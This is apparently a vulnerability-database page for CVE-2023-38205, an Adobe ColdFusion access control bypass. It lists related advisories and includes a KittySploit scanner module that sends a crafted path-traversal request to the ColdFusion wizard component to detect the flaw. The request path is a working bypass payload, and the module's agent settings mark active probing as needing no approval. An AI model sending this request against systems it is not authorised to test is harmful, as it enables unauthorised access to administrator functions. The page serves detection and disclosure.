Adobe ColdFusion - Access Control Bypass Detection
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
| CVE-2023-38205 | 14 Sep 202300:00 | – | attackerkb | |
| The vulnerability of the ColdFusion software platform, related to improper access control, allows attackers to bypass existing security restrictions. | 31 Jul 202300:00 | – | bdu_fstec | |
| CVE-2023-38205 | 20 Jul 202305:34 | – | circl | |
| Adobe ColdFusion Improper Access Control Vulnerability | 20 Jul 202300:00 | – | cisa_kev | |
| CISA Adds Two Known Exploited Vulnerabilities to Catalog | 20 Jul 202312:00 | – | cisa | |
| Adobe ColdFusion 安全漏洞 | 20 Jul 202300:00 | – | cnnvd | |
| Adobe ColdFusion Security Bypass Vulnerability (CNVD-2024-29339) | 24 Jul 202300:00 | – | cnvd | |
| Adobe ColdFusion < 2018.x < 2018u19 / 2021.x < 2021u9 / 2023.x < 2023u3 Multiple Vulnerabilities (APSB23-47) | 21 Jul 202300:00 | – | nessus | |
| Adobe ColdFusion Improper Access Control | 5 Oct 202300:00 | – | nessus | |
| CVE-2023-38205 | 14 Sep 202307:40 | – | cve |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""There is an access control bypass vulnerability in Adobe ColdFusion versions 2023 Update 2 and below, 2021 Upd."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Adobe ColdFusion - Access Control Bypass Detection',
'description': "There is an access control bypass vulnerability in Adobe ColdFusion versions 2023 Update 2 and below, 2021 Update 8 and below and 2018 update 18 and below, which allows a remote attacker to bypass the ColdFusion mechanisms that restrict unauthenticated external access to ColdFusion's Administrator.",
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'adobe', 'auth-bypass', 'coldfusion', 'kev', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://www.rapid7.com/blog/post/2023/07/19/cve-2023-38205-adobe-coldfusion-access-control-bypass-fixed/',
'https://helpx.adobe.com/security/products/coldfusion/apsb23-47.html',
'https://github.com/Ostorlab/KEV',
'https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors',
],
'cve': 'CVE-2023-38205',
}
def run(self):
path = '/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
content_type = r.headers.get("Content-Type") or r.headers.get("content-type") or ""
ctype_any = ('text/html',)
body_regexes = ('([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}',)
if (any(m in content_type for m in ctype_any)) and (any(re.search(rx, body) for rx in body_regexes)):
self.set_info(
severity='high',
reason='Adobe ColdFusion - Access Control Bypass detected',
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
7.9High risk
Vulners AI Score7.9
CVSS 3.17.5
EPSS0.99764
SSVC